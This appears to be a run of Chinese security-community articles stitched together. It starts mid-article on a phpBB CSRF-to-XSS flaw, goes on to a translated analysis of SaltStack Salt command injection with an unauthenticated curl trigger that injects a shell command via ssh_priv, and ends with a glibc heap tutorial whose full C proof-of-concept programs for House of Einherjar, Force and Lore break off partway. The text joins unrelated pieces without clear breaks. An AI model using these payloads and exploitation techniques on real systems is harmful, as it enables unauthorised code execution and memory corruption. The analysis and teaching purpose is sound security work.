这项安全策略是用来检验用户sid与IP的绑定关系，系统默认采用A.B.C选项，因此攻击者在获取了管理员sid后，想要冒用身份也是很困难的。
然而这也不是无解的：
phpBB后台管理中包含着编辑BBCode的功能。
BBCode是Bulletin Board Code的缩写，也有译为「BB代码」的，属于轻量标记语言（Lightweight Markup
Language）的一种，如字面上所显示的，它主要是使用在BBS、论坛、Blog等网络应用上。BBcode的语法通常为 [标记]
这种形式，即语法左右用两个中括号包围，以作为与正常文字间的区别。系统解译时遇上中括号便知道该处是BBcode，会在解译结果输出到用户端时转换成最为通用的HTML语法。
当然，作为后台管理功能，访问此处url也需要sid
由于上文的利用，攻击者可以获取sid，因此这里可以确定管理员此处后台功能的确切url
在此页面上，管理员可以添加，删除和编辑自定义BBCode。假如定义了这样的BBCode
用户可以在PM、话题或者帖子中使用这个BBCode
结果如下
然而phpBB中编辑BBCode的功能存在CSRF问题，首先看一下编辑BBCode功能的后台代码
可以看到，这里的确有对csrf进行防范
但是问题出在了前面的\$submit参数：
只有提交的POST请求中存在submit参数，系统才会检查CSRF nonce。反之不会
因此，只要构造csrf时，请求中不带submit参数即可
\$action、\$bbcode_id、\$bbcode_match与\$bbcode_tpl参数均有\$request->variable方式获取而来
variable方法不仅会获取POST中提交的变量，也会获取通过GET提交的变量，这意味着攻击者可以通过GET参数传参来进行CSRF攻击。
当csrf攻击成功后，恶意的bbcode将会被添加。之后攻击者可以滥用这个bbcode短代码，在消息、话题、帖子、回复中执行任意XSS代码。 | 社区文章 |
# 深入分析SaltStack Salt命令注入漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
11月3日，SaltStack发布了Salt的安全补丁，修复了三个高危漏洞。其中有两个修复程序，是为了解决外部研究人员通过ZDI项目提交的五个漏洞。这些漏洞可导致在运行Salt应用程序的系统上实现未经身份验证的命令注入。ZDI-CAN-11143是由一位匿名研究人员提交给ZDI的，而其余的漏洞则是我们发现的ZDI-CAN-11143的变体。在这篇文章中，我们将详细研究这些漏洞的根本原因。
## 二、漏洞详情
漏洞影响应用程序的rest-cherrypy netapi模块。rest-cherrypy模块为Salt提供REST
API。该模块来源于Python的CherryPy模块，在默认情况下未启用。如果要启用rest-cherrypy模块，主配置文件/etc/salt/master中必须加入以下行：
rest_cherrypy:
Port: 8000
Disable_ssl: true
其中，`/run`终端非常重要。它通过salt-ssh子系统发出命令，而salt-ssh子系统会使用SSH来执行Salt例程。
发送到`/run`
API的POST请求将调用`salt.netapi.rest_cherrypy.app.Run`类的`POST()`方法，这个类最终会调用`salt.netapi.NetapiClient`的`run()`方法：
class NetapiClient(object):
# [... Truncated ...]
salt.exceptions.SaltInvocationError(
# "Invalid client specified: '{0}'".format(low.get("client"))
"Invalid client specified: '{0}'".format(CLIENTS)
)
if not ("token" in low or "eauth" in low):
raise salt.exceptions.EauthAuthenticationError(
"No authentication credentials given"
)
if low.get("raw_shell") and not self.opts.get("netapi_allow_raw_shell"):
raise salt.exceptions.EauthAuthenticationError(
"Raw shell option not allowed."
)
l_fun = getattr(self, low["client"])
f_call = salt.utils.args.format_call(l_fun, low)
return l_fun(*f_call.get("args", ()), **f_call.get("kwargs", {}))
def local_batch(self, *args, **kwargs):
"""
Run :ref:`execution modules <all-salt.modules>` against batches of minions
.. versionadded:: 0.8.4
Wraps :py:meth:`salt.client.LocalClient.cmd_batch`
:return: Returns the result from the execution module for each batch of
returns
"""
local = salt.client.get_local_client(mopts=self.opts)
return local.cmd_batch(*args, **kwargs)
def ssh(self, *args, **kwargs):
"""
Run salt-ssh commands synchronously
Wraps :py:meth:`salt.client.ssh.client.SSHClient.cmd_sync`.
:return: Returns the result from the salt-ssh command
"""
ssh_client = salt.client.ssh.client.SSHClient(
mopts=self.opts, disable_custom_roster=True
)
return ssh_client.cmd_sync(kwargs)
如上所示，`run()`方法负责验证`client`参数的值。`client`参数的有效值包括`local`、`local_async`、`local_batch`、`local_subset`、`runner`、`runner_async`、`ssh`、`wheel`和`wheel_async`。在验证了client参数后，它将检查请求中是否存在token或eauth参数。值得关注的是，这个方法无法验证token或eauth参数的值。因此，无论token或eauth参数是任何值，都可以通过检查。在通过检查后，该方法会根据client参数的值，去调用相应的方法。
如果`client`参数值为`ssh`时，将触发漏洞。在这种情况下，`run()`方法将调用`ssh()`方法。`ssh()`方法通过调用`salt.client.ssh.client.SSHClient`类的`cmd_sync()`方法同步执行ssh-salt命令，最终会调用`_prep_ssh()`方法。
class SSHClient(object):
# [... Truncated]
def _prep_ssh(
self, tgt, fun, arg=(), timeout=None, tgt_type="glob", kwarg=None, **kwargs
):
"""
Prepare the arguments
"""
opts = copy.deepcopy(self.opts)
opts.update(kwargs)
if timeout:
opts["timeout"] = timeout
arg = salt.utils.args.condition_input(arg, kwarg)
opts["argv"] = [fun] + arg
opts["selected_target_option"] = tgt_type
opts["tgt"] = tgt
return salt.client.ssh.SSH(opts)
def cmd(
self, tgt, fun, arg=(), timeout=None, tgt_type="glob", kwarg=None, **kwargs
):
ssh = self._prep_ssh(tgt, fun, arg, timeout, tgt_type, kwarg, **kwargs) #<-------------- calls ZDI-CAN-11143
final = {}
for ret in ssh.run_iter(jid=kwargs.get("jid", None)): #<------------- ZDI-CAN-11173
final.update(ret)
return final
def cmd_sync(self, low):
kwargs = copy.deepcopy(low)
for ignore in ["tgt", "fun", "arg", "timeout", "tgt_type", "kwarg"]:
if ignore in kwargs:
del kwargs[ignore]
return self.cmd(
low["tgt"],
low["fun"],
low.get("arg", []),
low.get("timeout"),
low.get("tgt_type"),
low.get("kwarg"),
**kwargs
) #<------------------- calls
`_prep_ssh()`函数设置参数，并初始化SSH对象。
## 三、触发漏洞
触发漏洞的请求如下：
curl -i $salt_ip_addr:8000/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'
在这里，client参数的值为`ssh`，存在漏洞的参数是`ssh_priv`。在内部，`ssh_priv`参数在SSH对象初始化期间会用到，如下所示：
SSH(object):
"""
Create an SSH execution system
"""
ROSTER_UPDATE_FLAG = "#__needs_update"
def __init__(self, opts):
self.__parsed_rosters = {SSH.ROSTER_UPDATE_FLAG: True}
pull_sock = os.path.join(opts["sock_dir"], "master_event_pull.ipc")
if os.path.exists(pull_sock) and zmq:
self.event = salt.utils.event.get_event(
"master", opts["sock_dir"], opts["transport"], opts=opts, listen=False
)
else:
self.event = None
self.opts = opts
if self.opts["regen_thin"]:
self.opts["ssh_wipe"] = True
if not salt.utils.path.which("ssh"):
raise salt.exceptions.SaltSystemExit(
code=-1,
msg="No ssh binary found in path -- ssh must be installed for salt-ssh to run. Exiting.",
)
self.opts["_ssh_version"] = ssh_version()
self.tgt_type = (
self.opts["selected_target_option"]
if self.opts["selected_target_option"]
else "glob"
)
self._expand_target()
self.roster = salt.roster.Roster(self.opts, self.opts.get("roster", "flat"))
self.targets = self.roster.targets(self.opts["tgt"], self.tgt_type)
if not self.targets:
self._update_targets()
# If we're in a wfunc, we need to get the ssh key location from the
# top level opts, stored in __master_opts__
if "__master_opts__" in self.opts:
if self.opts["__master_opts__"].get("ssh_use_home_key") and os.path.isfile(
os.path.expanduser("~/.ssh/id_rsa")
):
priv = os.path.expanduser("~/.ssh/id_rsa")
else:
priv = self.opts["__master_opts__"].get(
"ssh_priv",
os.path.join(
self.opts["__master_opts__"]["pki_dir"], "ssh", "salt-ssh.rsa"
),
)
else:
priv = self.opts.get(
"ssh_priv", os.path.join(self.opts["pki_dir"], "ssh", "salt-ssh.rsa")
)
if priv != "agent-forwarding":
if not os.path.isfile(priv):
try:
salt.client.ssh.shell.gen_key(priv)
except OSError:
raise salt.exceptions.SaltClientError(
"salt-ssh could not be run because it could not generate keys.\n\n"
"You can probably resolve this by executing this script with "
"increased permissions via sudo or by running as root.\n"
"You could also use the '-c' option to supply a configuration "
"directory that you have permissions to read and write to."
)
`ssh_priv`参数的值用于SSH私有文件。如果`ssh_priv`值对应的文件不存在，则调用`/salt/client/ssh/shell.py`的`gen_key()`方法来创建文件，并将`ssh_priv`作为`path`参数传递给该方法。基本上，`gen_key()`方法生成公钥和私钥密钥对，并将其存储在`path`参数定义的文件中。
def gen_key(path):
"""
Generate a key for use with salt-ssh
"""
cmd = 'ssh-keygen -P "" -f {0} -t rsa -q'.format(path)
if not os.path.isdir(os.path.dirname(path)):
os.makedirs(os.path.dirname(path))
subprocess.call(cmd, shell=True)
从上面的方法中我们可以看到，这里并没有清除路径，且在后续的Shell命令中使用了该路径来创建RSA密钥对。如果`ssh_priv`包含命令注入字符，则可以在通过`subprocess.call()`方法执行命令时执行用户控制的命令。这样就导致攻击者可以在运行Salt应用程序的系统上运行任意命令。
在进一步研究SSH对象初始化方法之后，可以观察到多个变量设置为用户控制的HTTP参数的值。随后，这些变量在shell命令中用作执行SSH命令的参数。在这里，`user`、`port`、`remote_port_forwards`和`ssh_options`变量非常容易受到攻击，如下所示：
class SSH(object):
"""
Create an SSH execution system
"""
ROSTER_UPDATE_FLAG = "#__needs_update"
def __init__(self, opts):
# [...]
self.targets = self.roster.targets(self.opts["tgt"], self.tgt_type)
if not self.targets:
self._update_targets()
# [...]
self.defaults = {
"user": self.opts.get(
"ssh_user", salt.config.DEFAULT_MASTER_OPTS["ssh_user"]
),
"port": self.opts.get(
"ssh_port", salt.config.DEFAULT_MASTER_OPTS["ssh_port"]
), # <------------- vulnerable parameter
"passwd": self.opts.get(
"ssh_passwd", salt.config.DEFAULT_MASTER_OPTS["ssh_passwd"]
),
"priv": priv,
"priv_passwd": self.opts.get(
"ssh_priv_passwd", salt.config.DEFAULT_MASTER_OPTS["ssh_priv_passwd"]
),
"timeout": self.opts.get(
"ssh_timeout", salt.config.DEFAULT_MASTER_OPTS["ssh_timeout"]
)
+ self.opts.get("timeout", salt.config.DEFAULT_MASTER_OPTS["timeout"]),
"sudo": self.opts.get(
"ssh_sudo", salt.config.DEFAULT_MASTER_OPTS["ssh_sudo"]
),
"sudo_user": self.opts.get(
"ssh_sudo_user", salt.config.DEFAULT_MASTER_OPTS["ssh_sudo_user"]
),
"identities_only": self.opts.get(
"ssh_identities_only",
salt.config.DEFAULT_MASTER_OPTS["ssh_identities_only"],
),
"remote_port_forwards": self.opts.get("ssh_remote_port_forwards"), # <------------- vulnerable parameter
"ssh_options": self.opts.get("ssh_options"), # <------------- vulnerable parameter
}
def _update_targets(self):
"""
Update targets in case hostname was directly passed without the roster.
:return:
"""
hostname = self.opts.get("tgt", "")
if "@" in hostname:
user, hostname = hostname.split("@", 1) # <------------- vulnerable parameter
else:
user = self.opts.get("ssh_user") # <------------- vulnerable parameter
if hostname == "*":
hostname = ""
if salt.utils.network.is_reachable_host(hostname):
hostname = salt.utils.network.ip_to_host(hostname)
self.opts["tgt"] = hostname
self.targets[hostname] = {
"passwd": self.opts.get("ssh_passwd", ""),
"host": hostname,
"user": user,
}
if self.opts.get("ssh_update_roster"):
self._update_roster()
`_update_targets()`方法设置`user`变量，该变量取决于`tgt`或`ssh_user`的值。如果HTTP参数`tgt`的值使用了“username[@localhost](https://github.com/localhost
"@localhost")”的格式，则会将“username”分配给用户变量。否则，`user`的值由`ssh_user`参数设置。`port`、`remote_port_forwards`和`ssh_options`的值分别由HTTP参数`ssh_port`、`ssh_remote_port_forwards`和`ssh_options`定义。
在初始化SSH对象后，`_prep_ssh()`方法通过`handle_ssh()`产生一个子进程，最终会执行`salt.client.ssh.shell.Shell`类的`exec_cmd()`方法。
def exec_cmd(self, cmd):
"""
Execute a remote command
"""
cmd = self._cmd_str(cmd)
logmsg = "Executing command: {0}".format(cmd)
if self.passwd:
logmsg = logmsg.replace(self.passwd, ("*" * 6))
if 'decode("base64")' in logmsg or "base64.b64decode(" in logmsg:
log.debug("Executed SHIM command. Command logged to TRACE")
log.trace(logmsg)
else:
log.debug(logmsg)
ret = self._run_cmd(cmd) # <--------------- calls
return ret
def _cmd_str(self, cmd, ssh="ssh"):
"""
Return the cmd string to execute
"""
# TODO: if tty, then our SSH_SHIM cannot be supplied from STDIN Will
# need to deliver the SHIM to the remote host and execute it there
command = [ssh]
if ssh != "scp":
command.append(self.host)
if self.tty and ssh == "ssh":
command.append("-t -t")
if self.passwd or self.priv:
command.append(self.priv and self._key_opts() or self._passwd_opts())
if ssh != "scp" and self.remote_port_forwards:
command.append(
" ".join(
[
"-R {0}".format(item)
for item in self.remote_port_forwards.split(",")
]
)
)
if self.ssh_options:
command.append(self._ssh_opts())
command.append(cmd)
return " ".join(command)
def _run_cmd(self, cmd, key_accept=False, passwd_retries=3):
# [...]
term = salt.utils.vt.Terminal(
cmd,
shell=True,
log_stdout=True,
log_stdout_level="trace",
log_stderr=True,
log_stderr_level="trace",
stream_stdout=False,
stream_stderr=False,
)
sent_passwd = 0
send_password = True
ret_stdout = ""
ret_stderr = ""
old_stdout = ""
try:
while term.has_unread_data:
stdout, stderr = term.recv()
如上述代码所示，`exec_cmd()`首先调用`the_cmd_str()`方法来创建一个命令字符串，而不进行任何验证。然后，它通过显式调用系统Shell程序，调用`_run_cmd()`来执行命令。这会将命令注入字符视为Shell的元字符，而并非是命令的参数。一旦执行这个精心设计的命令字符串，就可能会导致任意命令注入。
## 四、总结
SaltStack发布了修复程序，以解决命令注入和身份验证绕过漏洞。同时，他们为这两个漏洞分配了编号CVE-2020-16846和CVE-2020-25592。CVE-2020-16846的修复原理是在执行命令时禁用系统Shell，以此来解决漏洞问题。禁用系统Shell意味着Shell元字符会被视为第一个命令的参数的一部分。
CVE-2020-25592的修复原理是添加对`eauth`和`token`参数的验证，以此来修复漏洞。这样一来，就仅允许有效用户通过`rest-cherrypy netapi`模块访问`salt-ssh`功能。这是我们的ZDI项目中收到的第一个SaltStack漏洞，后续的工作也非常重要。我们期待以后能接收到更多的提交报告。
大家可以关注我的Twitter @ nktropy，跟进团队研究进展，获取最新的漏洞利用技术和安全补丁。 | 社区文章 |
## 多Glibc版本调试方法
由于house of
技术中的一些漏洞只能在特定的低版本Glibc中触发，因此我这里基于pwntools写了一个脚本，可以使文中所示的程序在高版本系统下编译后，gdb调试时能强制加载特定版本的Glibc。
首先需要准备特定版本的Glibc，这里以libc-2.25.so.6为例
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
pro = raw_input("py <Bin_Path>: ")
pro=pro.replace("\n", "")
io = process([pro],env={"LD_PRELOAD":"./libc-2.25.so.6"})
gdb.attach(io,'set exec-wrapper env "LD_PRELOAD=./libc-2.25.so.6"')
pause()
io.interactive()
在弹出的gdb窗口 r 一下就可以运行了。
这里再提一下gcc编译，如果想要进行源码调试，需要加 -g 选项。-D GLIBC_VERSION=25 选项可设置动态链接的glibc版本为2.25。
为了方便我们之后的调试，需要在编译时关闭相关保护，选项如下
CANNARY
gcc -fno-stack-protector -o test test.c //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护，不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护，为所有函数插入保护代码
FORTIFY
gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查
gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查(如果检查到缓冲区溢出，就终止程序)
NX
gcc -o test test.c // 默认情况下，开启NX保护
gcc -z execstack -o test test.c // 禁用NX保护
gcc -z noexecstack -o test test.c // 开启NX保护
PIE
gcc -o test test.c // 默认情况下，不开启PIE
gcc -fpie -pie -o test test.c // 开启PIE，此时强度为1
gcc -fPIE -pie -o test test.c // 开启PIE，此时为最高强度2
gcc -fpic -o test test.c // 开启PIC，此时强度为1，不会开启PIE
gcc -fPIC -o test test.c // 开启PIC，此时为最高强度2，不会开启PIE
系统中关闭PIE选项使用`sudo -s echo 0 > /proc/sys/kernel/randomize_va_space`
但可能会报错 `-bash: /proc/sys/kernel/randomize_va_space: 权限不够`
这可能是因为sudo命令不支持重定向
使用`sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"`即可
RELRO
gcc -o test test.c // 默认情况下，是Partial RELRO
gcc -z norelro -o test test.c // 关闭，即No RELRO
gcc -z lazy -o test test.c // 部分开启，即Partial RELRO
gcc -z now -o test test.c // 全部开启，即
## House of Einherjar
### 原理
House of Einherjar依靠Off-by-one将下一个chunk的 pre_inuse标志位置零， **将 p1 的 prev_size
字段设置为我们想要的目的 chunk 位置与 p1 的差值**
，在free下一个chunk时，让free函数以为上一个chunk已经被free，当free最后一个chunk时，会将伪造的chunk和当前chunk和top
chunk进行unlink操作，合并成一个top chunk，从而达到将top chunk设置为我们伪造chunk的地址。
### Poc
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define CHUNKSIZE 0x100
#define FIRST_CHUNKSIZE 0x20
#define SECOND_CHUNKSIZE CHUNKSIZE
#define THIRD_CHUNKSIZE 0x0
#define INTERNAL_SIZE_T size_t
#define SIZE_SZ sizeof(INTERNAL_SIZE_T)
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ);
// 第一个字节将被覆盖为空字节.
char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ);
// 防止调用 malloc_consolidate().
char *p2 = malloc(THIRD_CHUNKSIZE);
printf("House of Einherjar Poc\n\n");
printf("堆中共申请三个chunk\n第一个chunk只需要对齐且未分配\n第二个chunk大小必须在smallbin & largebin范围内\n最后一个chunk可以为任意大小，只需要保证不调用malloc_consolidate()\n");
printf("\tp0 = %p\n\tp1 = %p\n\tp2 = %p\n", p0, p1, p2);
printf("\n----------------\n");
printf("在栈中伪造一个fakechunk\n");
struct malloc_chunk fakechunk;
fakechunk.size = 0;
fakechunk.fd = &fakechunk;
fakechunk.bk = &fakechunk;
printf("当前 fakechunk: \n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n",
fakechunk.size, fakechunk.fd, fakechunk.bk);
printf("假设p0对p1存在Off-by-one \n因此p1->size的最低位将被修改为NULL \np1->prev_size同样受到影响\n\n");
off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2);
// ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff;
*((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff;
p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
printf("** 溢出触发 **\n");
// ----------------------------------------------
printf("通过free(p1)触发合并\n");
free(p1);
printf("\n----------------\n");
printf("当前 fakechunk: \n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n",
fakechunk.size, fakechunk.fd, fakechunk.bk);
printf("\n控制fakechunk->size为合适的值 \n");
fakechunk.size = CHUNKSIZE;
printf("当前 fakechunk: \n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n",
fakechunk.size, fakechunk.fd, fakechunk.bk);
printf("\n----------------\n");
printf("malloc(0x%zx) // fakechunk+SIZE_SZ.\n",
CHUNKSIZE - SIZE_SZ);
char *where_you_want = malloc(CHUNKSIZE - SIZE_SZ);
printf("\t目标地址 = %p\n", where_you_want);
return 0;
}
### 分步分析
#### 1 申请三个chunk
char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ);
// 第一个字节将被覆盖为空字节.
char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ);
// 防止调用 malloc_consolidate().
char *p2 = malloc(THIRD_CHUNKSIZE);
pwndbg> heap
0x555555559000 PREV_INUSE {
prev_size = 0,
size = 657,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555559290 FASTBIN { # p0
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x101 # off-by-one位置
}
0x5555555592b0 PREV_INUSE { # p1
prev_size = 0,
size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555555593b0 FASTBIN { # p2
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20c31
}
0x5555555593d0 PREV_INUSE {
prev_size = 0,
size = 134193,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/50xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000021 <== p0
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000101 <== p1
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000021 <== p2
0x5555555593c0: 0x0000000000000000 0x0000000000000000
0x5555555593d0: 0x0000000000000000 0x0000000000020c31 <== top chunk
0x5555555593e0: 0x0000000000000000 0x0000000000000000
#### 2 off-by-one
off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2);
// ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff;
*((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff; //fakechunk与p1的偏移量
p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
0x555555559290 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0xffffd5555555b750, <== 偏移量
bk_nextsize = 0x100
}
pwndbg> x/50xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000021
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0xffffd5555555b750 0x0000000000000100 <==覆盖inuse
0x5555555592c0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000021
0x5555555593c0: 0x0000000000000000 0x0000000000000000
0x5555555593d0: 0x0000000000000000 0x0000000000020c31
0x5555555593e0: 0x0000000000000000 0x0000000000000000
#### 3 free p1
p1 free前与free后比较
0x5555555592b0 {
prev_size = 18446697161213458256,
size = 256,
fd = 0x0,
bk = 0x0, <------------------ fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555555592b0 {
prev_size = 18446697161213458256,
size = 256,
fd = 0x0,
bk = 0x555555559010, <------------------ fd_nextsize = 0x0,
bk_nextsize = 0x0
}
#### 4 malloc
pwndbg>
目标地址 = 0x7fffffffdb50
通过计算，重新申请到新的位置
### Glibc 2.27
在2.27版本中malloc.c对 _prev_size_ 的检查如下
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))\
malloc_printerr ("corrupted size vs. prev_size"); \
**只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就可以了** 。
fake_chunk2 = (struct malloc_chunk *)p0 + 1;
fake_chunk2->prev_size = sizeof(struct malloc_chunk);
### 利用思路
通过house_of_einherjar，我们可以控制top
chunk，再次malloc后，我们可以控制程序相应位置，按照程序功能，可能会达到任意地址读写，然后就可以通过一般手段getshell。
## House of force
### 原理
假设top chunk的header可被溢出覆盖，可以将size修改为一个大数，使得所有初始化都通过top
chunk而不是mmap，再malloc就可以使接下来的任何操作都调用指定地址，这里相当于一次任意地址写。
利用条件：
* 1.用户能够以溢出等方式控制到top chunk的size域
* 2.用户能够自由的控制堆分配尺寸的大小
### Poc
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "这里是将要被覆写的字符串.";
int main(int argc , char* argv[])
{
fprintf(stderr, "\nHouse of Force Poc\n\n");
fprintf(stderr, "\n我们将通过此漏洞覆写地址 %p 的值.\n", bss_var);
fprintf(stderr, "当前值为: %s\n", bss_var);
fprintf(stderr, "\n申请第一个chunk.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "大小为256 bytes 的chunk 在 %p 被申请.\n", p1 - 2);
int real_size = malloc_usable_size(p1);
fprintf(stderr, "分配的块的实际大小是 %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\n假设存在一个可溢出到 top chunk 的漏洞\n");
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\ntop chunk 起始地址是 %p\n", ptr_top);
fprintf(stderr, "\n用一个极大值覆写top chunk的size使得malloc不会调用mmap\n");
fprintf(stderr, "top chunk的旧size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "top chunk的新size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
fprintf(stderr, "\n接下来申请一个chunk，通过整数溢出指向该chunk");
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\n我们想要写的值位于 %p, top chunk 位于 %p, 通过计算头部size,\n"
"我们应该 malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "新指针和旧top chunk一样指向: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100);
fprintf(stderr, "\n下一个chunk将指向目标buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "现在我们可覆写该字符串:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... 使用 strcpy 覆写 \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
}
### 分步分析
#### 1 申请一个chunk
intptr_t *p1 = malloc(256);
pwndbg> heap
0x555555559000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 657,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555559290 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555555593a0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134241,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/40xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000111
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000020c61 <==== top chunk
#### 2 溢出修改top chunk size
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
pwndbg> x/40xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000111
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0xffffffffffffffff <==== 修改top chunk size为极大值
0x5555555593b0: 0x0000000000000000 0x0000000000000000
#### 抬高malloc到目标buffer
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);
malloc 0xffffffffffffeef0 bytes.
#### malloc并strcpy覆写
void* ctr_chunk = malloc(100);
strcpy(ctr_chunk, "YEAH!!!");
... old string: 这里是将要被覆写的字符串.
... 使用 strcpy 覆写 "YEAH!!!"...
... new string: YEAH!!!
### Glibc 2.27
目前在glibc2.27上仍然可以利用，而2.29版本则已有缓解措施
if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");
## House of lore
### 原理
创建两个chunk，第一个用于进入smallbin中，第二个用来防止free后被top
chunk合并，free第一块，将其送入unsortedbin链表，再次申请一个size位于largebin中，并且在unsortedbin中没有与其匹配的chunk，系统接下来会把unsortedbin中的chunk加入到smallbin中。假设可以控制
第一个chunk的fd、bk指针，我们就可以在栈上伪造出一个smallbin的链表，再次malloc时，就可以从smallbin的链表末尾取chunk了。这样就可以在栈上创造chunk。
### Poc
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
struct small_chunk {
size_t prev_size;
size_t size;
struct small_chunk *fd;
struct small_chunk *bk;
char buf[0x64]; // 填充 smallbin size大小的chunk
};
int main() {
struct small_chunk fake_chunk, another_fake_chunk;
struct small_chunk *real_chunk;
unsigned long long *ptr, *victim;
int len;
printf("House of lore Poc\n\n");
printf("fake_chunk地址: %p\n\n", &fake_chunk);
len = sizeof(struct small_chunk);
printf("申请两个small chunk，释放第一个，该块会并入unsorted bin\n");
ptr = malloc(len);
printf("第一块small chunk地址: %p\n\n", ptr);
printf("第二块大小可以为任意值，只是为了防止第一块free后与top chunk合并\n");
printf("第二块small chunk地址: %p\n\n", malloc(len));
free(ptr);
real_chunk = (struct small_chunk *)(ptr - 2);
printf("第一块目前的地址: %p\n\n", real_chunk);
